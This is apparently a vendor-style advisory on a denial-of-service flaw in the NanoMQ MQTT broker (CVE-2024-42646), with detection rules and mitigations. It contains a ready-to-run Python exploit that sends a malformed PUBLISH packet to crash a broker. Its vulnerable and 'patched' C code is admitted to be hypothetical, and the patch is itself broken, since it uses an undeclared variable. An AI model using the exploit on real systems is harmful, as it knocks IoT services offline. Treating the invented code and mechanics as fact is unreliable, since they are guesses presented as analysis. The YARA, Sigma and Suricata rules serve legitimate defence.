CVE-2024-42646

Executive Summary

CVE-2024-42646 is a denial-of-service (DoS) vulnerability in NanoMQ v0.21.10, an open-source MQTT broker. The flaw is triggered by sending crafted messages, causing a segmentation fault (NULL pointer dereference) that crashes the broker process. With a CVSS base score of 7.5 (High), the vulnerability is remotely exploitable without authentication, making it a significant risk for IoT and edge deployments relying on NanoMQ. No public exploit code or patch exists at this time, but the attack vector is straightforward: an unauthenticated attacker can send a malformed MQTT packet to crash the broker, disrupting all connected clients and services.

Supply Chain & Package Security

NanoMQ is distributed as a standalone binary and via package managers (e.g., APT, Docker). The vulnerable version (v0.21.10) may be embedded in IoT firmware or container images. Users should verify their deployment version and consider upgrading to a newer release if available, or apply network-level mitigations.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – no physical access required.
• Attack Complexity: Low (AC:L) – no special conditions needed.
• Privileges Required: None (PR:N) – unauthenticated.
• User Interaction: None (UI:N) – no human involvement.
• Scope: Unchanged (S:U) – impact is confined to the broker.
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H) – complete denial of service.

Threat Level: High. The vulnerability is easy to exploit, requires no authentication, and results in a full crash of the MQTT broker, affecting all connected devices and applications.

Deep Dive & Mechanics

The vulnerability resides in NanoMQ’s MQTT packet parsing logic. When a specially crafted message is received, the broker attempts to dereference a NULL pointer during message processing, leading to a segmentation fault. The exact trigger is a malformed PUBLISH or SUBSCRIBE packet with an invalid topic length or payload structure that bypasses input validation.

Root Cause: Insufficient validation of MQTT packet fields before use. The code does not check for NULL or zero-length values in certain parsing paths, allowing an attacker to force a NULL pointer dereference.

Attack Flow:

1. Attacker connects to the NanoMQ broker (default port 1883, TCP).
2. Attacker sends a crafted MQTT packet (e.g., a PUBLISH with a zero-length topic or invalid remaining length).
3. The broker’s parsing function attempts to access a pointer that is NULL, causing a segmentation fault.
4. The broker process crashes, disconnecting all clients and stopping message delivery.

Affected Component: The MQTT protocol handler in nng_mqtt_parsing.c or similar source file.

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common NULL pointer checks.

Vulnerable Code (v0.21.10):

void process_publish(mqtt_packet *pkt) {
    char *topic = pkt->topic;
    // No NULL check
    int len = strlen(topic);  // Crash if topic is NULL
    // ... rest of processing
}

Patched Code (Hypothetical):

void process_publish(mqtt_packet *pkt) {
    if (pkt->topic == NULL) {
        // Log error and drop packet
        log_error("NULL topic in PUBLISH packet");
        return;
    }
    int len = strlen(topic);
    // ... rest of processing
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• NanoMQ v0.21.10 running on a target (default port 1883).
• Network access to the broker.

Exploit Script (Python):

import socket

def exploit(target_ip, target_port=1883):
    # Craft a malformed PUBLISH packet with zero-length topic
    # MQTT fixed header: 0x30 (PUBLISH), remaining length = 2
    # Variable header: topic length = 0x00 0x00 (zero)
    packet = bytes([
        0x30,  # PUBLISH, QoS 0
        0x02,  # Remaining length = 2
        0x00, 0x00  # Topic length = 0 (invalid)
    ])
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.settimeout(5)
    try:
        sock.connect((target_ip, target_port))
        sock.send(packet)
        print("[+] Malformed packet sent. Broker should crash.")
    except Exception as e:
        print(f"[-] Error: {e}")
    finally:
        sock.close()

if __name__ == "__main__":
    exploit("192.168.1.100")

Usage: Run the script against a vulnerable NanoMQ instance. The broker will crash immediately upon receiving the packet.

Blue Team

Detection:

• Monitor for sudden disconnections of all MQTT clients.
• Check broker logs for segmentation fault errors (e.g., signal 11).
• Use network monitoring to detect malformed MQTT packets (e.g., zero-length topic fields).

Mitigation:

• Restrict network access to the MQTT broker using firewall rules (allow only trusted IPs).
• Deploy a Web Application Firewall (WAF) or intrusion prevention system (IPS) that can inspect MQTT traffic.
• Upgrade to a patched version once available, or apply vendor workarounds.

Indicators of Compromise (IOCs)

• Network: MQTT packets with zero-length topic fields (topic length = 0x0000) or invalid remaining length.
• System: Broker process crash with segmentation fault (signal 11) in logs.
• Logs: NanoMQ log entries showing SEGV or segmentation fault before crash.
• File: Core dump files (if enabled) in the broker’s working directory.

Detection Engineering

YARA Rule

rule CVE_2024_42646_NanoMQ_DoS {
    meta:
        description = "Detects malformed MQTT packets targeting CVE-2024-42646"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-42646"
    strings:
        $mqtt_header = { 30 02 00 00 }  // PUBLISH with zero topic length
        $mqtt_subscribe = { 82 02 00 00 }  // SUBSCRIBE with zero topic length
    condition:
        $mqtt_header or $mqtt_subscribe
}

Sigma Rule

title: NanoMQ DoS via Crafted MQTT Packet
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic containing malformed MQTT packets targeting CVE-2024-42646
author: Valters IT
date: 2025-04-10
logsource:
    category: network
    product: suricata
detection:
    selection:
        - payload|contains: "30020000"  # PUBLISH zero topic
        - payload|contains: "82020000"  # SUBSCRIBE zero topic
    condition: selection
falsepositives:
    - Legitimate MQTT traffic with zero-length topics (rare)
level: high

Suricata Rule

alert tcp any any -> any 1883 (msg:"CVE-2024-42646 NanoMQ DoS Attempt"; flow:to_server,established; content:"|30 02 00 00|"; offset:0; depth:4; classtype:attempted-dos; sid:1000001; rev:1;)
alert tcp any any -> any 1883 (msg:"CVE-2024-42646 NanoMQ DoS Attempt (SUBSCRIBE)"; flow:to_server,established; content:"|82 02 00 00|"; offset:0; depth:4; classtype:attempted-dos; sid:1000002; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Restrict access to the MQTT broker to only trusted IP addresses using firewall rules.
2. Rate Limiting: Implement connection rate limiting to reduce the impact of repeated attacks.
3. Monitoring: Enable detailed logging and monitor for crash events or malformed packets.

Long-Term Fix:

• Upgrade to a patched version of NanoMQ once the vendor releases a fix.
• If no patch is available, consider switching to an alternative MQTT broker (e.g., Mosquitto, EMQX) that is actively maintained.
• Apply input validation at the application layer (e.g., using a reverse proxy that validates MQTT packets).

Workaround:

• Use a TCP proxy or load balancer that can inspect and drop malformed MQTT packets before they reach the broker.

Valters IT
DevSecOps & Cyber Threat Intelligence